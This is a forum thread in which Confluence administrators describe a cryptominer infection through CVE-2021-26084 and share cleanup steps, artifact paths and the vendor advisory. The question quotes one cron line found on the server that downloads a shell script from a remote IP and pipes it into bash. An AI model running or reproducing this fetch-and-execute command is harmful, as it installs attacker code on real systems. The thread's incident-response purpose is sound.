Mining malware and DDOS attack to remote host from Confluence server
Asked by Pamela Dalton:

We are running Confluence 7.8..1 in AWS. This morning Amazon sent us a notice that our server was implicated in activity that resembles a Denial of Service attack. While investigation we say that an lot of entries in the logs for an anonymous user trying to access /rest/tinymce/1/macro/preview. We searched Confluence support and found a ticket that mentioned being hacked by malware. From that and other sources we found that we had mining malware installed on our server. We killed the kdevtmpfsi and kinsing processes that were running under the confluence user. We found a cronjob for confluence that had the following:

\* \* \* \* \* curl <http://195.3.146.118/cf.sh> \| bash \> /dev/null 2\>\&1

We found the mining files in our /tmp directory along with udp, syna, main, libsystem.so, gates.lod and conf.n. We deleted the files and then created read-only files so they could not be created again.

In the support ticket we found, <https://community.atlassian.com/t5/Confluence-questions/How-come-my-confluence-installation-was-hacked-by-Kerberods/qaq-p/1054605>, this issue was fixed after 6.9.1. How do we have the issue with 7.8.1? We have changed our load balancer to only allow access from our network for now. What can we do to make sure this doesn't happen again when we open it back up?


Answers:
author: Kent Brodie
body: Per a link mentioned above a little bit:  

<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>  

This appears to be the attack vector, and it's addressed in the latest versions (see article). We were one minor version below (with a planned upgrade tomorrow, go figure).  

The malware was a stupid miner; it basically creates a crontab file under the confluence user, and dumps code into a dir canned ".javae" under /tmp.  

Fun stuff.  

I did the update immediately (to 7.13.0) and am keeping a watchful eye.  


author: Sebastian Hutter
body: Please follow the guide in the Confluence advisory

<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>

Download the cve-fix script to your server, stop confluence, execute the script and start confluence again. If possible create a backup of the installation directory first or create a snapshot of the disk.

We faced the same issues and also received the abuse reports from AWS. Executing the script as listed in the Advisory will close the the open security hole.

We found files and entries here

/home/*confluence*/.xmrig.json

/tmp/.javae

/var/spool/cron/*confluence*

Where confluence is the name of the system user under which the confluence service is running.

If your confluence system wasn't running as root user the potential attack vector is limisted to places where the confluence user has write access too (tmp, home dir, confluence install dir)


author: Kent Brodie
body: same. We're on 7.12, and this hit us this morning. I followed steps from the original article (2019):  

disabled webdav

disabled Widget connector  

removed all the goodies from /tmp  

created a new empty root-owned read-only cron file "confluence".  

Hope to seea fiix for this REAL SOON


author: Lexum Informatique Juridique
body: Same. We believe we were a victim of this vulnerability: <https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>

If anybody finds out what this malware is, I'd like to know if it was a simple miner of it was designed to exfiltrate information or credentials.


author: Kristian
body: We are experiencing this same issue as well and have been getting Amazon emails regarding denial of service attacks since this morning. Not sure what steps to take to resolve this. Any help appreciated!

comments: author: neizves
body: I am not sure, but it looks like this kind of miner [https://vms.drweb.com/virus/?i=19722604\&lng=en](https://vms.drweb.com/virus/?i=19722604&lng=en) , similar issues and fixes were found here: <https://gist.github.com/yoyosan/5f88c1a023f006f952d7378bdc7bcf01> and here <https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu>

But virus itself can be modified, so it can be not enough actions to completely remove it.


author: neizves
body: Got the same issue since yesterday. Restored VM from backup, but still want to be sure that it is not going to happen again.


Tags: confluence-server

cve-2021-26084

server